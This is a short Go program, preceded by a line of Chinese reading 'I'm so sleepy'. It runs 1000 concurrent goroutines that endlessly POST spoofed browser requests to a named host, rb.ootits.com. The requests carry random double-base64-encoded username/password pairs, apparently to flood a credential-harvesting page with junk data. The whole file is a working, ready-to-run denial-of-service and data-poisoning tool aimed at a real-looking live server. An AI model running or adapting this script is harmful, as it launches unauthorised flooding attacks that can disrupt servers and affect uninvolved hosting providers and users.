我好困啊

1
package main
2

3
import (
4
    "bytes"
5
    "encoding/base64"
6
    "encoding/json"
7
    "fmt"
8
    "math/rand"
9
    "net/http"
10
    "sync"
11
    "sync/atomic"
12
    "time"
13
)
14

15
// 配置
16
const (
17
    url         = "https://rb.ootits.com/app/data.php"
18
    userAgent   = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1"
19
    cookie      = "PHPSESSID=3a91640cc9491b1f01bb61496ca7938f"
20
    concurrency = 1000 // 并发数量
21
)
22

23
// 请求计数
24
var totalRequests uint64
25
var totalBytes uint64
26

27
func randomString(n int) string {
28
    letters := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
29
    s := make([]rune, n)
30
    for i := range s {
31
        s[i] = letters[rand.Intn(len(letters))]
32
    }
33
    return string(s)
34
}
35

36
func makePayload() string {
37
    data := map[string]interface{}{
38
        "act": "sv",
39
        "data": map[string]string{
40
            "user": randomString(8),
41
            "pass": randomString(10),
42
        },
43
    }
44
    jsonBytes, _ := json.Marshal(data)
45
    // 双层 Base64
46
    encoded := base64.StdEncoding.EncodeToString([]byte(base64.StdEncoding.EncodeToString(jsonBytes)))
47
    return encoded
48
}
49

50
func sendPost(wg *sync.WaitGroup) {
51
    defer wg.Done()
52
    client := &http.Client{
53
        Timeout: 10 * time.Second,
54
    }
55
    for {
56
        payload := makePayload()
57
        form := fmt.Sprintf("sv=%s", payload)
58
        req, _ := http.NewRequest("POST", url, bytes.NewBufferString(form))
59
        req.Header.Set("User-Agent", userAgent)
60
        req.Header.Set("Accept", "*/*")
61
        req.Header.Set("X-Requested-With", "XMLHttpRequest")
62
        req.Header.Set("Sec-Fetch-Site", "same-origin")
63
        req.Header.Set("Sec-Fetch-Mode", "cors")
64
        req.Header.Set("Sec-Fetch-Dest", "empty")
65
        req.Header.Set("Referer", "https://rb.ootits.com/step_in/")
66
        req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
67
        req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
68
        req.Header.Set("Cookie", cookie)
69
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
70

71
        resp, err := client.Do(req)
72
        if err == nil {
73
            n, _ := resp.Body.Read(make([]byte, 1024)) // 读取部分数据计算流量
74
            atomic.AddUint64(&totalRequests, 1)
75
            atomic.AddUint64(&totalBytes, uint64(n))
76
            resp.Body.Close()
77
        } else {
78
            fmt.Println("请求错误:", err)
79
        }
80
    }
81
}
82

83
func main() {
84
    rand.Seed(time.Now().UnixNano())
85

86
    var wg sync.WaitGroup
87
    for i := 0; i < concurrency; i++ {
88
        wg.Add(1)
89
        go sendPost(&wg)
90
    }
91

92
    // 每秒输出统计
93
    ticker := time.NewTicker(1 * time.Second)
94
    go func() {
95
        var lastReq uint64
96
        var lastBytes uint64
97
        for range ticker.C {
98
            req := atomic.LoadUint64(&totalRequests)
99
            bytes := atomic.LoadUint64(&totalBytes)
100
            fmt.Printf("每秒请求数: %d, 每秒流量: %.2f KB\n", req-lastReq, float64(bytes-lastBytes)/1024)
101
            lastReq = req
102
            lastBytes = bytes
103
        }
104
    }()
105

106
    wg.Wait()
107
}